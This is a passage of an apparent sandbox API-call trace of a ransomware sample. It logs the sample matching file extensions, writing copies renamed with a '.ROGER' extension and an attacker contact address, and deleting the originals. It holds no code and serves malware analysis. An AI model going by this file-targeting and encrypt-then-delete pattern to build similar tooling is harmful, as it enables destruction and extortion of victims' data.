Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0051.652] lstrlenW (lpString=".zip") returned 4 [0051.654] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0051.655] lstrlenW (lpString=".rar") returned 4 [0051.656] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0051.656] lstrlenW (lpString=".bz2") returned 4 [0051.656] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0051.657] lstrlenW (lpString=".7z") returned 3 [0051.659] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0051.660] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0051.660] lstrlenW (lpString=".dbf") returned 4 [0051.660] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0051.661] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0051.661] lstrlenW (lpString=".1cd") returned 4 [0051.661] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0051.662] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0051.662] lstrlenW (lpString=".jpg") returned 4 [0051.662] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0051.662] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0051.662] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0051.662] lstrlenW (lpString=".doc") returned 4 [0051.662] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0051.662] lstrlenW (lpString=".docx") returned 5 [0051.662] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0051.662] lstrlenW (lpString=".pdf") returned 4 [0051.662] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0051.663] lstrlenW (lpString=".xls") returned 4 [0051.663] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0051.663] lstrlenW (lpString=".xlsx") returned 5 [0051.663] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0051.663] lstrlenW (lpString=".ppt") returned 4 [0051.663] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0051.663] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0051.663] lstrlenW (lpString=".zip") returned 4 [0051.663] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0051.663] lstrlenW (lpString=".rar") returned 4 [0051.663] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0051.663] lstrlenW (lpString=".bz2") returned 4 [0051.663] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0051.663] lstrlenW (lpString=".7z") returned 3 [0051.663] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0051.663] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0051.663] lstrlenW (lpString=".dbf") returned 4 [0051.663] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0051.663] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0051.663] lstrlenW (lpString=".1cd") returned 4 [0051.663] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0051.663] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0051.663] lstrlenW (lpString=".jpg") returned 4 [0051.663] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0051.663] lstrcmpiW (lpString1=".exe", lpString2=".ROGER") returned -1 [0051.663] lstrlenW (lpString="ose.exe") returned 7 [0051.663] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0052.110] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=174440) returned 1 [0052.110] CloseHandle (hObject=0x3e0) returned 1 [0052.111] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0052.111] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0052.111] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0052.111] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.111] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.111] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0052.111] GetLastError () returned 0x0 [0052.111] ReadFile (in: hFile=0x3e0, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x2a968, lpOverlapped=0x0) returned 1 [0052.116] WriteFile (in: hFile=0x388, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0x2a970, lpOverlapped=0x0) returned 1 [0052.119] ReadFile (in: hFile=0x3e0, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0052.119] WriteFile (in: hFile=0x388, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0xe2, lpOverlapped=0x0) returned 1 [0052.119] SetEndOfFile (hFile=0x388) returned 1 [0052.120] CloseHandle (hObject=0x388) returned 1 [0052.120] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.120] SetEndOfFile (hFile=0x3e0) returned 1 [0052.121] CloseHandle (hObject=0x3e0) returned 1 [0052.121] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0052.122] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0052.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0052.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0052.122] lstrlenW (lpString=".doc") returned 4 [0052.122] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0052.122] lstrlenW (lpString=".docx") returned 5 [0052.122] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0052.122] lstrlenW (lpString=".pdf") returned 4 [0052.122] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0052.122] lstrlenW (lpString=".xls") returned 4 [0052.122] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0052.122] lstrlenW (lpString=".xlsx") returned 5 [0052.122] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0052.122] lstrlenW (lpString=".ppt") returned 4 [0052.122] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0052.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0052.122] lstrlenW (lpString=".zip") returned 4 [0052.122] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0052.122] lstrlenW (lpString=".rar") returned 4 [0052.122] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0052.122] lstrlenW (lpString=".bz2") returned 4 [0052.122] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0052.122] lstrlenW (lpString=".7z") returned 3 [0052.122] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0052.123] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0052.123] lstrlenW (lpString=".dbf") returned 4 [0052.123] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0052.123] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0052.123] lstrlenW (lpString=".1cd") returned 4 [0052.123] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0052.123] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0052.123] lstrlenW (lpString=".jpg") returned 4 [0052.123] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0052.123] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0052.123] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0052.123] lstrlenW (lpString=".doc") returned 4 [0052.123] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0052.123] lstrlenW (lpString=".docx") returned 5 [0052.123] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0052.123] lstrlenW (lpString=".pdf") returned 4 [0052.123] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0052.123] lstrlenW (lpString=".xls") returned 4 [0052.123] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0052.123] lstrlenW (lpString=".xlsx") returned 5 [0052.123] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0052.123] lstrlenW (lpString=".ppt") returned 4 [0052.123] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0052.123] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0052.123] lstrlenW (lpString=".zip") returned 4 [0052.123] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0052.123] lstrlenW (lpString=".rar") returned 4 [0052.123] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0052.123] lstrlenW (lpString=".bz2") returned 4 [0052.123] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0052.123] lstrlenW (lpString=".7z") returned 3 [0052.123] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0052.124] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0052.124] lstrlenW (lpString=".dbf") returned 4 [0052.124] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0052.124] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0052.124] lstrlenW (lpString=".1cd") returned 4 [0052.124] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0052.124] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0052.124] lstrlenW (lpString=".jpg") returned 4 [0052.124] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0052.124] lstrcmpiW (lpString1=".exe", lpString2=".ROGER") returned -1 [0052.124] lstrlenW (lpString="setup.exe") returned 9 [0052.124] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0052.125] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=1377656) returned 1 [0052.125] CloseHandle (hObject=0x3e0) returned 1 [0052.125] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0052.125] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0052.125] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0052.125] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.126] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.126] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0052.126] GetLastError () returned 0x0 [0052.126] ReadFile (in: hFile=0x3e0, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0xffff0, lpOverlapped=0x0) returned 1 [0052.156] WriteFile (in: hFile=0x388, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0052.176] ReadFile (in: hFile=0x3e0, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x50588, lpOverlapped=0x0) returned 1 [0052.351] WriteFile (in: hFile=0x388, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0x50590, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0x50590, lpOverlapped=0x0) returned 1 [0052.359] ReadFile (in: hFile=0x3e0, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0052.359] WriteFile (in: hFile=0x388, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0052.359] SetEndOfFile (hFile=0x388) returned 1 [0052.360] CloseHandle (hObject=0x388) returned 1 [0052.360] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.360] SetEndOfFile (hFile=0x3e0) returned 1 [0052.363] CloseHandle (hObject=0x3e0) returned 1 [0052.363] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0052.363] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1 [0052.364] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0052.364] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0052.364] lstrlenW (lpString=".doc") returned 4 [0052.364] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0052.364] lstrlenW (lpString=".docx") returned 5 [0052.364] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0052.364] lstrlenW (lpString=".pdf") returned 4 [0052.364] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0052.364] lstrlenW (lpString=".xls") returned 4 [0052.364] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0052.364] lstrlenW (lpString=".xlsx") returned 5 [0052.364] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0052.364] lstrlenW (lpString=".ppt") returned 4 [0052.364] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0052.364] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0052.364] lstrlenW (lpString=".zip") returned 4 [0052.364] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0052.364] lstrlenW (lpString=".rar") returned 4 [0052.364] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0052.364] lstrlenW (lpString=".bz2") returned 4 [0052.364] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0052.364] lstrlenW (lpString=".7z") returned 3 [0052.364] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0052.364] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0052.364] lstrlenW (lpString=".dbf") returned 4 [0052.364] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0052.364] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0052.364] lstrlenW (lpString=".1cd") returned 4 [0052.364] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0052.364] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0052.364] lstrlenW (lpString=".jpg") returned 4 [0052.364] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0052.365] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0052.365] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0052.365] lstrlenW (lpString=".doc") returned 4 [0052.365] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0052.365] lstrlenW (lpString=".docx") returned 5 [0052.365] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0052.365] lstrlenW (lpString=".pdf") returned 4 [0052.365] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0052.365] lstrlenW (lpString=".xls") returned 4 [0052.365] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0052.365] lstrlenW (lpString=".xlsx") returned 5 [0052.365] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0052.365] lstrlenW (lpString=".ppt") returned 4 [0052.365] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0052.365] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0052.365] lstrlenW (lpString=".zip") returned 4 [0052.365] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0052.365] lstrlenW (lpString=".rar") returned 4 [0052.365] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0052.365] lstrlenW (lpString=".bz2") returned 4 [0052.365] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0052.365] lstrlenW (lpString=".7z") returned 3 [0052.365] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0052.365] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0052.365] lstrlenW (lpString=".dbf") returned 4 [0052.365] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0052.365] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0052.365] lstrlenW (lpString=".1cd") returned 4 [0052.365] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0052.365] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0052.365] lstrlenW (lpString=".jpg") returned 4 [0052.365] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0052.366] lstrcmpiW (lpString1=".sys", lpString2=".ROGER") returned 1 [0052.366] lstrlenW (lpString="pagefile.sys") returned 12 [0052.366] CreateFileW (lpFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0052.366] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0052.366] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0052.366] lstrlenW (lpString=".doc") returned 4 [0052.366] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0052.366] lstrlenW (lpString=".docx") returned 5 [0052.366] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0052.366] lstrlenW (lpString=".pdf") returned 4 [0052.366] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0052.366] lstrlenW (lpString=".xls") returned 4 [0052.366] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0052.366] lstrlenW (lpString=".xlsx") returned 5 [0052.366] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0052.366] lstrlenW (lpString=".ppt") returned 4 [0052.366] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0052.366] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0052.366] lstrlenW (lpString=".zip") returned 4 [0052.366] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0052.366] lstrlenW (lpString=".rar") returned 4 [0052.366] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0052.366] lstrlenW (lpString=".bz2") returned 4 [0052.366] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0052.366] lstrlenW (lpString=".7z") returned 3 [0052.366] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0052.366] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0052.367] lstrlenW (lpString=".dbf") returned 4 [0052.367] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0052.367] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0052.367] lstrlenW (lpString=".1cd") returned 4 [0052.367] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0052.367] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0052.367] lstrlenW (lpString=".jpg") returned 4 [0052.367] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0052.367] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0052.367] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0052.367] lstrlenW (lpString=".doc") returned 4 [0052.367] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0052.367] lstrlenW (lpString=".docx") returned 5 [0052.367] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0052.367] lstrlenW (lpString=".pdf") returned 4 [0052.367] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0052.367] lstrlenW (lpString=".xls") returned 4 [0052.367] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0052.367] lstrlenW (lpString=".xlsx") returned 5 [0052.367] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0052.367] lstrlenW (lpString=".ppt") returned 4 [0052.367] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0052.367] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0052.367] lstrlenW (lpString=".zip") returned 4 [0052.367] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0052.367] lstrlenW (lpString=".rar") returned 4 [0052.367] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0052.367] lstrlenW (lpString=".bz2") returned 4 [0052.367] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0052.367] lstrlenW (lpString=".7z") returned 3 [0052.367] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0052.367] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0052.367] lstrlenW (lpString=".dbf") returned 4 [0052.368] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0052.368] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0052.368] lstrlenW (lpString=".1cd") returned 4 [0052.368] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0052.368] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0052.368] lstrlenW (lpString=".jpg") returned 4 [0052.368] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0052.368] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0052.368] lstrlenW (lpString="MSADDNDR.DLL") returned 12 [0052.368] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0052.561] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=99136) returned 1 [0052.561] CloseHandle 